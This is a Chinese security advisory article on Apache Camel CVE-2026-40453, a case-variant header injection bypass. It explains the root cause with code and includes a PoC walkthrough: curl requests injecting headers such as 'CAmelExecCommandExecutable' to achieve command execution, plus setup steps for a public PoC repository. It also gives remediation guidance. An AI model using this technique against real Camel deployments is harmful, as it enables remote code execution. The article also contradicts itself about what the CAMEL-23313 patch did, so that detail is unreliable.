导语:Apache Camel 近日披露编号为 CVE-2026-40453 的安全漏洞,该漏洞为 CVE-2025-27636 的不完整修复遗留问题。攻击者可利用 Camel Exchange 头信息大小写不敏感的特性,注入大小写变形的内部控制头绕过过滤,触发远程代码执行。PoC 已公开于 GitHub,国内使用该框架进行企业集成开发的企业需高度关注。
一、漏洞概述
CVE-2026-40453 是 Apache Camel 框架中的一起大小写处理不当(Improper Handling of Case Sensitivity)漏洞,官方定级为 MEDIUM。
2025 年 3 月,Apache Camel 曾修复 CVE-2025-27636——该漏洞同样源于 Camel 内部控制头注入。当时的修复在 HttpHeaderFilterStrategy 中添加了 setLowerCase(true),使其能够过滤大小写变体的头名称(如 CAmelExecCommandExecutable 与标准 CamelExecCommandExecutable)。
然而,CAMEL-23313 补丁遗漏了五个非 HTTP 的 HeaderFilterStrategy 实现,导致这些组件仍以大小写敏感的方式过滤头名称,而 Camel Exchange 本身使用大小写不敏感的 Map 存储头信息。攻击者可利用这一差异,注入大小写变体绕过过滤,最终在下游组件中触发 RCE 或任意文件写入。
二、风险速览
| 项目 | 说明 |
|---|---|
| CVE 编号 | CVE-2026-40453 |
| 漏洞类型 | CWE-20 Improper Input Validation — 消息头注入 |
| 危险等级 | 🟡 中危(MEDIUM) |
| 影响组件 | camel-jms、camel-sjms、camel-coap、camel-google-pubsub |
| 影响类 | JmsHeaderFilterStrategy、ClassicJmsHeaderFilterStrategy、SjmsHeaderFilterStrategy、CoAPHeaderFilterStrategy、GooglePubsubHeaderFilterStrategy |
| 影响版本 | 3.0.0 ~ 4.14.5、4.15.0 ~ 4.18.1、4.19.0 ~ 4.20.0 之前所有版本 |
| 修复版本 | 4.14.6、4.18.2、4.20.0 |
| 触发前提 | 攻击者需持有 JMS(或等效协议)生产者权限,向由 Camel 路由消费的 Broker 发送消息 |
| 危害后果 | 远程代码执行(RCE)/ 任意文件写入 |
| 报告者 | Saroj Khadka |
| 漏洞发现 | 本漏洞为 CVE-2025-27636 的不完整修复 |
三、技术根因分析
3.1 漏洞原理
Apache Camel 的各协议组件使用 HeaderFilterStrategy 来过滤掉不应该暴露给下游的 Camel 内部控制头(如 CamelExecCommandExecutable、CamelExecCommandArgs 等)。
HttpHeaderFilterStrategy(已修复)过滤逻辑如下:
public HttpHeaderFilterStrategy() {
setOutFilterStartsWith(CAMEL_FILTER_STARTS_WITH);
setInFilterStartsWith(CAMEL_FILTER_STARTS_WITH);
setLowerCase(true); // ← CVE-2025-27636 修复添加:启用后无论大小写均过滤
}
而受影响组件的 CoAPHeaderFilterStrategy(以及其他四个策略):
public CoAPHeaderFilterStrategy() {
setOutFilterStartsWith(CAMEL_FILTER_STARTS_WITH);
setInFilterStartsWith(CAMEL_FILTER_STARTS_WITH);
// ← 缺少 setLowerCase(true):过滤大小写敏感
}
这意味着:
CamelExecCommandExecutable—startsWith("Camel")返回 true → 被过滤CAmelExecCommandExecutable—startsWith("Camel")返回 false(CAm≠Cam)→ 未被过滤
然而,Camel Exchange 的头信息存储在大小写不敏感的 Map 中,因此当请求到达下游的 camel-exec、camel-file 等组件时,大小写变体头会被以其规范名称解析,从而触发命令注入或文件写入。
3.2 攻击链路径
攻击者发送 CoAP/JMS 请求
↓
URI-Query 参数被映射为 Exchange In Headers
↓
CoAPHeaderFilterStrategy.applyFilterToExternalHeaders()
↓
"CAmelExecCommandExecutable" → startsWith("Camel") 为 false → 未被过滤
↓
Camel Exchange 头存储(大小写不敏感)
↓
camel-exec 组件以规范名 CamelExecCommandExecutable 解析该头
↓
RCE / 任意文件写入
四、PoC 演示
以下 PoC 以 camel-coap 组件为例(自包含,无需外部 Broker)。项目地址:
https://github.com/sarojkpr/CVE-2026-40453
4.1 受害路由
from("coap://0.0.0.0:5683/run")
.to("exec:echo?args=hello")
.convertBodyTo(String.class);
4.2 正常请求
curl http://localhost:8080/exploit/normal
# 返回: hello
4.3 规范头注入 — 被过滤(无 RCE)
curl http://localhost:8080/exploit/canonical
# 注入 CamelExecCommandExecutable / CamelExecCommandArgs
# 结果: /tmp/pwned-canonical created: false
# (过滤机制阻止了攻击)
4.4 大小写变体头注入 — 绕过成功(RCE)
curl http://localhost:8080/exploit/attack
# 注入 CAmelExecCommandExecutable / CAmelExecCommandArgs(大写 A)
# 结果: /tmp/pwned created: true
# (过滤器被绕过,RCE 成功)
docker exec cve-2026-40453 ls -la /tmp/pwned
4.5 复现步骤
git clone https://github.com/sarojkpr/CVE-2026-40453
cd CVE-2026-40453
mvn clean package -DskipTests
docker compose up -d --build
# 然后分别访问上述三条 curl 命令观察差异
docker compose down
五、影响范围
该漏洞同样影响国内企业广泛使用的集成框架场景。以下是典型受影响配置:
| 组件 | 受影响类 | 触发协议 |
|---|---|---|
| camel-jms | JmsHeaderFilterStrategy、ClassicJmsHeaderFilterStrategy | JMS |
| camel-sjms | SjmsHeaderFilterStrategy | SJMS |
| camel-coap | CoAPHeaderFilterStrategy | CoAP |
| camel-google-pubsub | GooglePubsubHeaderFilterStrategy | Google Cloud Pub/Sub |
使用以上任意组件进行消息路由,且路由下游存在 header 驱动的 producer(如 exec、file、direct 等),均存在被利用风险。
六、修复建议
6.1 升级版本(推荐)
| 当前版本分支 | 建议升级至 |
|---|---|
| 4.14.x(LTS) | 4.14.6 |
| 4.15.x ~ 4.18.x | 4.18.2 |
| 4.19.x ~ 4.20.x | 4.20.0 |
⚠️ 补丁风险提示:主版本升级可能涉及 API 变更,建议在测试环境验证后再投入生产。
6.2 临时缓解措施
如无法立即升级,建议采取以下措施:
- 下游过滤 Camel 头:在所有消息处理管道中对 Camel 内部头进行大小写不敏感的清除;
- 收紧协议访问控制:限制 JMS/CoAP 等协议的未授权访问,禁止匿名生产者写入 Broker;
- 路由审查:检查所有消费外部消息的路由,移除或限制
exec、file等高危 producer 的大众访问; - 网络隔离:将 Camel 路由组件部署于独立网段,阻止跨协议未授权访问。
七、漏洞时间线
| 时间 | 事件 |
|---|---|
| 2025-03 | CVE-2025-27636 披露,HttpHeaderFilterStrategy 添加 setLowerCase(true) |
| 2025-03-09 | CVE-2025-27636 修复公告发布 |
| ~2025 | Saroj Khadka 发现其他五个策略未同步修复 |
| 2026 | CAMEL-23313 补丁提交,完成对所有五个组件的修复 |
| 2026 | CVE-2026-40453 正式披露,PoC 公开 |
八、参考链接
- Apache Camel 官方安全公告:https://camel.apache.org/security/CVE-2026-40453.html
- JIRA 跟踪:https://issues.apache.org/jira/browse/CAMEL-23313
- CVE 详情:https://www.cve.org/CVERecord?id=CVE-2026-40453
- PoC 代码库:https://github.com/sarojkpr/CVE-2026-40453
版权声明:本文由华盟网原创发布,保留所有权利。配图由华盟网授权使用。














暂无评论内容